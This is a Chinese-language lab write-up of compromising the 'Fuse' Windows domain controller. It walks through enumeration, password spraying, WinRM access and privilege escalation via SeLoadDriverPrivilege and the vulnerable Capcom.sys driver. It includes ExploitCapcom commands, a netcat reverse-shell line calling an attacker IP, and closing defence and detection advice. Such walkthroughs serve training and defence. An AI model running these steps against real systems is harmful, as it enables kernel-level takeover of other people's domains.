域渗透实战之fuse
字数 1502 2025-08-24 07:48:33

Windows域渗透实战:利用SeLoadDriverPrivilege权限提升

1. 信息收集阶段

1.1 端口扫描与识别

  • 使用nmap进行初始端口探测:
    nmap -sV -O <目标IP>
    
  • 识别出Windows域控制器特征

1.2 SMB服务探测

  • 使用crackmapexec确认操作系统和域信息:
    crackmapexec smb <目标IP>
    
  • 使用smbmap尝试未授权访问:
    smbmap -H <目标IP>
    

1.3 Web应用信息收集

  • 绑定hosts文件访问目标网站
  • 发现包含用户名的文件
  • 进行目录暴力破解(未获有效结果)

1.4 LDAP探测

  • 使用ldapsearch尝试查询:
    ldapsearch -x -H ldap://<目标IP> -b "dc=fabricorp,dc=local"
    

2. 用户枚举与密码爆破

2.1 生成用户列表

  • 使用cewl从网站日志中提取潜在用户名:
    cewl http://fuse.fabricorp.local/papercut/logs/html/index.htm --with-numbers > wordlist
    

2.2 密码爆破

  • 使用生成的用户列表进行密码爆破
  • 发现有效凭证:svc-print:Fabricorp02

3. 初始访问

3.1 通过SMB登录

  • 使用获取的凭证连接SMB:
    smbclient -U 'fabricorp.local\svc-print%Fabricorp02' //<目标IP>/share
    

3.2 通过WinRM获取Shell

  • 使用evil-winrm获取交互式shell:
    evil-winrm -i <目标IP> -u 'svc-print' -p 'Fabricorp02'
    

4. 权限提升分析

4.1 检查用户权限

  • 在shell中执行:
    whoami /priv
    
  • 发现关键权限:SeLoadDriverPrivilege

4.2 SeLoadDriverPrivilege权限分析

  • 该权限允许用户加载和卸载设备驱动程序
  • 默认仅分配给管理员和打印操作员组
  • 可被滥用来加载有漏洞的驱动程序实现权限提升

5. 漏洞利用准备

5.1 选择易受攻击的驱动程序

  • 使用Capcom.sys驱动程序(已知漏洞):
    • SHA1: c1d5cf8c43e7679b782630e93f5e6420ca1749a7
    • 允许从用户空间在内核空间执行代码

5.2 编译利用工具

  • 获取ExploitCapcom源码:
    git clone https://github.com/FuzzySecurity/Capcom-Rootkit
    
  • 使用Visual Studio编译ExploitCapcom.exe

6. 权限提升实施

6.1 上传必要文件

  • 上传编译好的ExploitCapcom.exe和Capcom.sys到目标

6.2 加载驱动程序

.\ExploitCapcom.exe System\CurrentControlSet\dfserv C:\ProgramData\Capcom.sys
.\ExploitCapcom.exe LOAD C:\ProgramData\Capcom.sys

6.3 执行任意命令

.\ExploitCapcom.exe EXPLOIT whoami

6.4 获取反向Shell

  1. 上传netcat到目标
  2. 执行:
    .\ExploitCapcom.exe EXPLOIT "nc.exe <攻击者IP> 4444 -e cmd.exe"
    
  3. 在攻击机监听:
    nc -lvnp 4444
    

7. 技术原理深入

7.1 SeLoadDriverPrivilege工作机制

  • 通过NTLoadDriver API加载驱动程序
  • 通常需要管理员权限,但可通过HKCU注册表项绕过
  • 注册表路径格式:
    Registry\User\{NON_PRIVILEGED_USER_SID}
    

7.2 利用步骤详解

  1. 获取不受限制的访问令牌(通过UAC绕过或提升)
  2. 激活SeLoadDriverPrivilege权限
  3. 在HKCU下创建注册表项配置驱动程序
  4. 调用NTLoadDriver加载驱动程序
  5. 通过漏洞驱动程序执行内核代码

7.3 关键API函数

  • LookupPrivilegeValue() - 获取权限引用
  • AdjustTokenPrivileges() - 激活/禁用权限
  • NTLoadDriver() - 加载驱动程序

8. 防御建议

8.1 防御措施

  • 限制SeLoadDriverPrivilege权限分配
  • 实施驱动程序签名验证
  • 监控驱动程序加载事件
  • 定期审核用户权限分配

8.2 检测方法

  • 监控HKLM和HKCU下的驱动程序注册表项
  • 检查异常驱动程序加载行为
  • 审计具有SeLoadDriverPrivilege权限的非管理员账户

9. 总结

本案例展示了如何通过以下步骤完成域渗透:

  1. 信息收集识别域控制器
  2. 密码爆破获取初始访问
  3. 权限分析发现SeLoadDriverPrivilege
  4. 加载有漏洞驱动程序实现权限提升
  5. 最终获取系统完全控制权

关键点在于识别和滥用不当分配的特权,特别是SeLoadDriverPrivilege在非管理员账户上的分配。

Windows域渗透实战:利用SeLoadDriverPrivilege权限提升 1. 信息收集阶段 1.1 端口扫描与识别 使用nmap进行初始端口探测: 识别出Windows域控制器特征 1.2 SMB服务探测 使用crackmapexec确认操作系统和域信息: 使用smbmap尝试未授权访问: 1.3 Web应用信息收集 绑定hosts文件访问目标网站 发现包含用户名的文件 进行目录暴力破解(未获有效结果) 1.4 LDAP探测 使用ldapsearch尝试查询: 2. 用户枚举与密码爆破 2.1 生成用户列表 使用cewl从网站日志中提取潜在用户名: 2.2 密码爆破 使用生成的用户列表进行密码爆破 发现有效凭证: svc-print:Fabricorp02 3. 初始访问 3.1 通过SMB登录 使用获取的凭证连接SMB: 3.2 通过WinRM获取Shell 使用evil-winrm获取交互式shell: 4. 权限提升分析 4.1 检查用户权限 在shell中执行: 发现关键权限: SeLoadDriverPrivilege 4.2 SeLoadDriverPrivilege权限分析 该权限允许用户加载和卸载设备驱动程序 默认仅分配给管理员和打印操作员组 可被滥用来加载有漏洞的驱动程序实现权限提升 5. 漏洞利用准备 5.1 选择易受攻击的驱动程序 使用Capcom.sys驱动程序(已知漏洞): SHA1: c1d5cf8c43e7679b782630e93f5e6420ca1749a7 允许从用户空间在内核空间执行代码 5.2 编译利用工具 获取ExploitCapcom源码: 使用Visual Studio编译ExploitCapcom.exe 6. 权限提升实施 6.1 上传必要文件 上传编译好的ExploitCapcom.exe和Capcom.sys到目标 6.2 加载驱动程序 6.3 执行任意命令 6.4 获取反向Shell 上传netcat到目标 执行: 在攻击机监听: 7. 技术原理深入 7.1 SeLoadDriverPrivilege工作机制 通过 NTLoadDriver API加载驱动程序 通常需要管理员权限,但可通过HKCU注册表项绕过 注册表路径格式: 7.2 利用步骤详解 获取不受限制的访问令牌(通过UAC绕过或提升) 激活SeLoadDriverPrivilege权限 在HKCU下创建注册表项配置驱动程序 调用NTLoadDriver加载驱动程序 通过漏洞驱动程序执行内核代码 7.3 关键API函数 LookupPrivilegeValue() - 获取权限引用 AdjustTokenPrivileges() - 激活/禁用权限 NTLoadDriver() - 加载驱动程序 8. 防御建议 8.1 防御措施 限制SeLoadDriverPrivilege权限分配 实施驱动程序签名验证 监控驱动程序加载事件 定期审核用户权限分配 8.2 检测方法 监控HKLM和HKCU下的驱动程序注册表项 检查异常驱动程序加载行为 审计具有SeLoadDriverPrivilege权限的非管理员账户 9. 总结 本案例展示了如何通过以下步骤完成域渗透: 信息收集识别域控制器 密码爆破获取初始访问 权限分析发现SeLoadDriverPrivilege 加载有漏洞驱动程序实现权限提升 最终获取系统完全控制权 关键点在于识别和滥用不当分配的特权,特别是SeLoadDriverPrivilege在非管理员账户上的分配。